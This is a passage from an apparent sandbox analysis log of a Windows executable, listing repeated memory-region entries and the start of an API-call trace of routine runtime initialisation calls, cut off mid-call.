= 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2808 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2809 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2810 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2811 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2812 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2813 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2814 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2815 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2816 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2817 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2818 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2819 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2820 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2821 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2822 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2823 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2824 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2825 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2826 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2827 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2828 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2829 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2830 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2831 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2832 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2833 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2834 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2835 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2836 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2837 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2838 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2839 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2840 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2841 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2842 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2843 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2844 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2845 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2846 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2847 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2848 start_va = 0x23d0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2849 start_va = 0x23d0000 end_va = 0x23e1fff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2850 start_va = 0x23f0000 end_va = 0x23f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023f0000" filename = "" Region: id = 2851 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2852 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2853 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2854 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2855 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2856 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2857 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2858 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2859 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2860 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2861 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2862 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2863 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2864 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2865 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2866 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2867 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2868 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2869 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2870 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2871 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2872 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2873 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2874 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2875 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2876 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2877 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2878 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2879 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2880 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2881 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2882 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2883 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2884 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2885 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2886 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2887 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2888 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2889 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2890 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2891 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2892 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2893 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2894 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2895 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2896 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2897 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2898 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2899 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2900 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2901 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2902 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2903 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2904 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2905 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2906 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2907 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2908 start_va = 0x23d0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2909 start_va = 0x23d0000 end_va = 0x23e1fff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2910 start_va = 0x23f0000 end_va = 0x23f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023f0000" filename = "" Region: id = 2911 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2912 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2913 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2914 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2915 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2916 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2917 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2918 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2919 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2920 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2921 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2922 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2923 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2924 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2925 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2926 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2927 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2928 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2929 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2930 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2931 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2932 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2933 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2934 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2935 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2936 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2937 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2938 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2939 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2940 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2941 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2942 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2943 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2944 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2945 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2946 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2947 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2948 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2949 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2950 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2951 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2952 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2953 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2954 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2955 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2956 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2957 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2958 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2959 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2960 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2961 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2962 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2963 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2964 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2965 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2966 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 2967 start_va = 0x23d0000 end_va = 0x23d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Thread: id = 1 os_tid = 0xd38 [0057.684] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0057.684] GetStartupInfoW (in: lpStartupInfo=0x19fe80 | out: lpStartupInfo=0x19fe80*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0057.684] GetVersionExA (in: lpVersionInformation=0x19fed0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x19fed0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0057.685] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0057.685] GetProcAddress (hModule=0x74f40000, lpProcName="FlsAlloc") returned 0x74f5a330 [0057.685] GetProcAddress (hModule=0x74f40000, lpProcName="FlsGetValue") returned 0x74f57580 [0057.685] GetProcAddress (hModule=0x74f40000, lpProcName="FlsSetValue") returned 0x74f59910 [0057.685] GetProcAddress (hModule=0x74f40000, lpProcName="FlsFree") returned 0x74f5f400 [0057.686] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.686] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.686] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.686] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.686] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.686] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.686] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.686] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.686] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.686] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.687] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.687] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.687] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.687] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.687] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.687] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.687] GetModuleHandleW (lpModuleName="kernelbase.dll") returned 0x75190000 [0057.687] GetProcAddress (hModule=0x75190000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75242e70 [0057.687] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.687] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.687] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.687] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.688] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.688] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.688] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.688] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.688] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.688] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.688] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.688] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.688] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.688] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.688] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.688] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.689] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.689] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.689] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.689] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.689] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.689] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.689] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.689] GetProcAddress 